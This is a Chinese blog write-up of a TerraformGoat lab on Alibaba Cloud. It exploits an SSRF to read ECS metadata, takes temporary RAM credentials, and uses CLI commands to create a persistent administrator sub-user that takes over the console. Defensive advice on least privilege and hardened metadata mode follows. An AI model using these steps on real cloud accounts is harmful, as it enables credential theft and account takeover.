云上安全攻防

云安全介绍

云安全是指用于保护云环境中应用、数据和基础架构的安全的各种信息安全政策、最佳实践、控制措施和技术。具体而言,云安全致力于提供存储和网络保护,以应对内部和外部威胁,此外还提供访问管理、数据治理与合规性以及灾难恢复功能。

靶场练习

靶场地址:https://github.com/HXSecurity/TerraformGoat

从云服务器 SSRF 漏洞到接管你的阿里云控制台

环境搭建

docker pull registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_aliyun:0.0.7
docker run -itd --name terraformgoat_aliyun_0.0.7 registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_aliyun:0.0.7
docker exec -it terraformgoat_aliyun_0.0.7 /bin/bash

进入后界面如下:

╰─$ docker exec -it terraformgoat_aliyun_0.0.7 /bin/bash

_____ __ ___ _
/__ \___ _ __ _ __ __ _ / _| ___ _ __ _ __ ___ / _ \___ __ _| |_
/ /\/ _ \ '__| '__/ _` | |_ / _ \| '__| '_ ` _ \ / /_\/ _ \ / _` | __|
/ / | __/ | | | | (_| | _| (_) | | | | | | | / /_\\ (_) | (_| | |_
\/ \___|_| |_| \__,_|_| \___/|_| |_| |_| |_\____/\___/ \__,_|\__|

Welcome To TerraformGoat

Repository URL: https://github.com/HXSecurity/TerraformGoat.git

------------------------------------------------------------------------
root@12d7822a6557:/TerraformGoat#

启动环境

root@12d7822a6557:cd /TerraformGoat/aliyun/ecs/ecs_ssrf/
root@12d7822a6557:/TerraformGoat/aliyun/ecs/ecs_ssrf# aliyun configure
Configuring profile 'default' in 'AK' authenticate mode...
Access Key Id []: xxxx
Access Key Secret []: xxxx
Default Region Id []: cn-beijing
Default Output Format [json]: json (Only support json)
Default Language [zh|en] en: en
Saving profile[default] ...Done.
Configure Done!!!
..............888888888888888888888 ........=8888888888888888888D=..............
...........88888888888888888888888 ..........D8888888888888888888888I...........
.........,8888888888888ZI: ...........................=Z88D8888888888D..........
.........+88888888 ..........................................88888888D..........
.........+88888888 .......Welcome to use Alibaba Cloud.......O8888888D..........
.........+88888888 ............. ************* ..............O8888888D..........
.........+88888888 .... Command Line Interface(Reloaded) ....O8888888D..........
.........+88888888...........................................88888888D..........
..........D888888888888DO+. ..........................?ND888888888888D..........
...........O8888888888888888888888...........D8888888888888888888888=...........
............ .:D8888888888888888888.........78888888888888888888O ..............

部署 SSRF 靶场

terraform init
terraform apply

如果 init 初始化比较慢,挂上代理即可

在 apply 期间,会提示 Enter a value,这时输入 yes 回车即可。

Do you want to perform these actions?
Terraform will perform the actions described above.
Only 'yes' will be accepted to approve.

Enter a value: yes

alicloud_instance.instance: Creating...
alicloud_instance.instance: Still creating... [10s elapsed]
alicloud_instance.instance: Creation complete after 14s [id=i-2zed8n7vznyggv5flzcj]
alicloud_ram_role_attachment.attach: Creating...
alicloud_ram_role_attachment.attach: Creation complete after 2s [id=huocorp-terraform-goat-role:["i-2zed8n7vznyggv5flzcj"]]

Apply complete! Resources: 2 added, 0 changed, 0 destroyed.

Outputs:

ssrf_lab_address_link = "http://47.94.168.181:8080/ssrf-lab"

image-20230822151305884

环境利用

当前环境存在 SSRF 漏洞,但和常规 SSRF 所处的环境不同,这里的 SSRF 漏洞是出现在云服务器上的,这也就意味着我们可以通过这个 SSRF 漏洞获取到该服务器的元数据信息。

访问元数据

实例元数据是指云服务器KEC相关的配置信息,如网卡、实例名称、IP地址等,可以用来配置和管理正在运行的实例。

image-20230822154359624

在返回的结果中,可以看到当前环境存在 ram/ 目录,这也就意味着当前云服务器配置了 RAM 角色,这样我们可以获取到临时凭证了。

通过元数据获取临时凭证

这里 URL 中的 huocorp-terraform-goat-role 是 RAM 角色名称,可以通过访问 http://100.100.100.200/latest/meta-data/ram/security-credentials/ 获取到。

image-20230822155431243

将临时凭证配置到 aliyun 命令行工具里。

root@12d7822a6557:/TerraformGoat/aliyun/ecs/ecs_ssrf# aliyun configure --mode StsToken
Configuring profile 'default' in 'StsToken' authenticate mode...
Access Key Id [*********************Vgz]: xxxx
Access Key Secret [***************************sOO]: xxxx
Sts Token []: xxxx
Default Region Id [cn-beijing]:
Default Output Format [json]: json (Only support json)
Default Language [zh|en] en: en
Saving profile[default] ...Done.

Configure Done!!!
..............888888888888888888888 ........=8888888888888888888D=..............
...........88888888888888888888888 ..........D8888888888888888888888I...........
.........,8888888888888ZI: ...........................=Z88D8888888888D..........
.........+88888888 ..........................................88888888D..........
.........+88888888 .......Welcome to use Alibaba Cloud.......O8888888D..........
.........+88888888 ............. ************* ..............O8888888D..........
.........+88888888 .... Command Line Interface(Reloaded) ....O8888888D..........
.........+88888888...........................................88888888D..........
..........D888888888888DO+. ..........................?ND888888888888D..........
...........O8888888888888888888888...........D8888888888888888888888=...........
............ .:D8888888888888888888.........78888888888888888888O ..............

创建子用户,并赋予管理员权限

aliyun ram CreateUser --UserName ol4three_aliyun_ssrf
aliyun ram CreateLoginProfile --UserName ol4three_aliyun_ssrf --Password Ssrf@123
aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName ol4three_aliyun_ssrf
root@12d7822a6557:/TerraformGoat/aliyun/ecs/ecs_ssrf# aliyun ram CreateUser --UserName ol4three_aliyun_ssrf
{
"RequestId": "3AE4B253-D257-597E-B6C9-06D579B11E0F",
"User": {
"Comments": "",
"CreateDate": "2023-08-22T07:57:11Z",
"DisplayName": "",
"Email": "",
"MobilePhone": "",
"UserId": "xxxx",
"UserName": "ol4three_aliyun_ssrf"
}
}
root@12d7822a6557:/TerraformGoat/aliyun/ecs/ecs_ssrf# aliyun ram CreateLoginProfile --UserName ol4three_aliyun_ssrf --Password Ssrf@123
{
"LoginProfile": {
"CreateDate": "2023-08-22T07:57:11Z",
"MFABindRequired": false,
"PasswordResetRequired": false,
"UserName": "ol4three_aliyun_ssrf"
},
"RequestId": "7EBD7071-79B9-5E88-A4D6-2E95B3ECE656"
}
root@12d7822a6557:/TerraformGoat/aliyun/ecs/ecs_ssrf# aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName ol4three_aliyun_ssrf
{
"RequestId": "43B78F44-96D4-5C07-82AB-7AA09D0EEF46"
}

访问 https://signin.aliyun.com 页面,通过 RAM 用户进行登录,这里的用户格式为 username@company-alias,其中 username 就是刚刚创建的用户名,company-alias 可以通过下面的这个命令获取到。

root@12d7822a6557:/TerraformGoat/aliyun/ecs/ecs_ssrf# aliyun ram GetAccountAlias
{
"AccountAlias": "xxxx",
"RequestId": "96B4326B-0F38-52F5-9B8F-8AF1DA693399"
}

这里的 AccountAlias 就是我们需要的 company-alias,接下来就可以登录控制台了。

image-20230822160109629

密码输入刚刚创建的密码即可登录

image-20230822160255504

由于刚才在创建用户时,赋予了 AdministratorAccess 权限,因此在 RAM 访问控制处可以看到,当前账号拥有管理所有阿里云资源的权限。

image-20230822160723507

在云服务 ECS 实例中也可以看到我们刚才搭建的那台 SSRF 靶场服务器。

image-20230822160908239

至此,就实现了利用云服务器上的 SSRF 漏洞接管了阿里云控制台。

读取用户数据

前提是目标端已经配置了用户数据,否则会断开连接。

http://100.100.100.200/latest/user-data/

image-20230822161650269

发现存在flag.txt 我们来使用file协议读取一下,成功获取flag{Congratulations on getting flag}

image-20230822161952701

防御措施

这个环境的问题除了存在 SSRF 外,还有另外两个主要的问题:

  1. RAM 角色权限过大,导致可以通过该角色的权限进行创建子用户以及给子用户授予高权限等操作
  2. 元数据未做加固访问,导致一旦目标存在 SSRF 漏洞,元数据就存在被获取的风险

那么针对第一个 RAM 角色权限过大的问题,主要还是需要使用者严格遵守权限最小化的原则,在为 RAM 角色赋予权限时,避免赋予过高的权限,只赋予自己所需要的权限,这样可以将影响程度降到最低,但是这并不能治本。

针对第二个元数据未做加固访问的问题,可以将实例上的元数据访问模式设置为加固模式,这是一种治本的方法,将元数据访问模式设置为加固模式有以下两种方法:

  1. 在创建实例时,可以在「系统配置」的「高级选项」中将「实例元数据访问模式」设置为「仅加固模式」

image-20230822162341139

在最新购买中没找到存在仅加固模式

image-20230822162458928

  1. 在已经创建好的实例中,可以在阿里云 OpenAPI 中开启元数据强制使用 Token 访问,OpenAPI 地址:https://next.api.aliyun.com/api/Ecs/2014-05-26/ModifyInstanceMetadataOptions

image-20230822163449465

将 HttpTokens 设置为 required 即表示强制使用加固模式,此时再访问元数据就会提示 403 了。

image-20230822163521705

值得一提的是,将元数据设置为加固模式可以防止通过 SSRF 获取到元数据,但如果实例权限被拿下,那么红队还是可以通过在实例上执行获取 token 的命令,然后利用该 token 获取到元数据。

在 Linux 实例中获取 token 的命令如下:

TOKEN=`curl -X PUT "http://100.100.100.200/latest/api/token" -H "X-aliyun-ecs-metadata-token-ttl-seconds: 21600"`

通过 token 获取元数据

curl -H "X-aliyun-ecs-metadata-token: $TOKEN"  http://100.100.100.200/latest/meta-data/

image-20230822164339852

对于 Windows 实例下的获取方法可以参考阿里云官方文档:https://help.aliyun.com/document_detail/108460.htm

环境删除

删除创建的子账号

aliyun ram DetachPolicyFromUser --PolicyType System --PolicyName AdministratorAccess --UserName ol4three_aliyun_ssrf
aliyun ram DeleteUser --UserName ol4three_aliyun_ssrf

删除 SSRF 靶场环境,在使用完靶场后,记得及时删除,因为这里创建的云服务是按时间计费的,该靶场实例的价格为每小时 0.17 元人民币。

在销毁靶场之前,记得把 AccessKey 配置成最开始的 AccessKey,配置命令:aliyun configure –mode AK

terraform destroy

总结

这里通过云上 SSRF 漏洞获取到了临时密钥,通过临时秘钥创建了一个具有管理员访问权限的子用户,最后通过这个子用户接管了目标的控制台。

但是这个方法在实战中想要使用是有一些前提的,主要前提有以下两个:

  1. ECS 实例需要被授予 RAM 角色,不然访问临时凭证的元数据会返回 404
  2. RAM 角色需要具备 ram 访问控制的相关操作权限,例如创建用户、赋予权限等,不然临时秘钥会没有创建子用户的权限。

在实战中,如果遇到了 ECS 实例被授予了 RAM 角色的情况,大多时候该角色都是不具备创建用户权限的,这时就没法通过创建子账号登录控制台的方式了,只能通过阿里云命令行工具去操作目标云服务了。

总的来说,云上攻防和常规的内网攻防还是十分不一样的。

  • 云上攻防的常见问题是配置错误,例如这里的问题就是 RAM 角色配置权限过高。
  • 云上攻防的权限维持主要方法是创建 RAM 高权限用户,而不是像传统攻防里那样有五花八门的权限维持方法。
  • 云上攻防的内网横向主要是在云服务厂商命令行或者控制台中进行横向,从这个云服务横向到另一个云服务,而不是像传统攻防那样有各种各样的内网横向手法。
Author

ol4three

Posted on

2023-08-10

Updated on

2023-08-22

Licensed under


Comments